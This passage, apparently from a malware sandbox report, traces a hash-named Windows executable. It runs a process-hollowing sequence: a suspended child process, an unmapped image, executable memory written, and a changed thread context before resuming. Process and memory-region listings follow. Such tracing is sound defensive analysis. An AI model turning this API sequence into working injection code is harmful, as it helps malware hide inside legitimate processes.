lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe")) returned 0x62 [0086.773] GetStartupInfoA (in: lpStartupInfo=0x19efa4 | out: lpStartupInfo=0x19efa4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0086.773] GetCommandLineA () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe\" " [0086.774] CreateProcessA (in: lpApplicationName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe", lpCommandLine="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000004, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19efa4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0), lpProcessInformation=0x19effc | out: lpCommandLine="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe\" ", lpProcessInformation=0x19effc*(hProcess=0x118, hThread=0x114, dwProcessId=0xc08, dwThreadId=0x5c4)) returned 1 [0086.802] VirtualFree (lpAddress=0x2c80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.803] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x1000, flProtect=0x4) returned 0x2c80000 [0086.803] GetThreadContext (in: hThread=0x114, lpContext=0x2c80000 | out: lpContext=0x2c80000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x25e000, Edx=0x0, Ecx=0x0, Eax=0x401eaf, Ebp=0x0, Eip=0x77c08fe0, SegCs=0x23, EFlags=0x202, Esp=0x19fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0086.823] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x25e008, lpBuffer=0x19eff0, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x19eff0*, lpNumberOfBytesRead=0x0) returned 1 [0086.823] NtUnmapViewOfSection (ProcessHandle=0x118, BaseAddress=0x400000) returned 0x0 [0086.984] VirtualAllocEx (hProcess=0x118, lpAddress=0x400000, dwSize=0x9000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0087.003] NtWriteVirtualMemory (in: ProcessHandle=0x118, BaseAddress=0x400000, Buffer=0x2c615a0*, NumberOfBytesToWrite=0x200, NumberOfBytesWritten=0x0 | out: Buffer=0x2c615a0*, NumberOfBytesWritten=0x0) returned 0x0 [0087.027] NtWriteVirtualMemory (in: ProcessHandle=0x118, BaseAddress=0x401000, Buffer=0x2c617a0*, NumberOfBytesToWrite=0x7200, NumberOfBytesWritten=0x0 | out: Buffer=0x2c617a0*, NumberOfBytesWritten=0x0) returned 0x0 [0087.105] WriteProcessMemory (in: hProcess=0x118, lpBaseAddress=0x25e008, lpBuffer=0x2c61654*, nSize=0x4, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x2c61654*, lpNumberOfBytesWritten=0x0) returned 1 [0087.112] SetThreadContext (hThread=0x114, lpContext=0x2c80000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x25e000, Edx=0x0, Ecx=0x0, Eax=0x402f47, Ebp=0x0, Eip=0x77c08fe0, SegCs=0x23, EFlags=0x202, Esp=0x19fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0087.114] ResumeThread (hThread=0x114) returned 0x1 [0087.151] CloseHandle (hObject=0x114) returned 1 [0087.151] CloseHandle (hObject=0x118) returned 1 [0087.151] ExitProcess (uExitCode=0x0) [0087.151] HeapFree (in: hHeap=0x47a0000, dwFlags=0x0, lpMem=0x47a05a8 | out: hHeap=0x47a0000) returned 1 Thread: id = 2 os_tid = 0xc14 Process: id = "2" image_name = "08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe" filename = "c:\\users\\rdhj0cnfevzx\\desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe" page_root = "0x72d6f000" os_pid = "0xc08" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xbcc" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f4cd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 319 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 320 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 321 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 322 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 323 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 324 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 325 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 326 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 327 start_va = 0x400000 end_va = 0x2b7dfff monitored = 1 entry_point = 0x401eaf region_type = mapped_file name = "08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe") Region: id = 328 start_va = 0x77b90000 end_va = 0x77d0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 329 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 330 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 331 start_va = 0x7fff0000 end_va = 0x7ffd504cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 332 start_va = 0x7ffd504d0000 end_va = 0x7ffd50690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 333 start_va = 0x7ffd50691000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffd50691000" filename = "" Region: id = 335 start_va = 0x400000 end_va = 0x408fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 336 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 337 start_va = 0x6edd0000 end_va = 0x6ee1ffff monitored = 0 entry_point = 0x6ede8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 338 start_va = 0x6ee20000 end_va = 0x6ee99fff monitored = 0 entry_point = 0x6ee33290 region_type = mapped_file name = "wow64win.dll" filename = 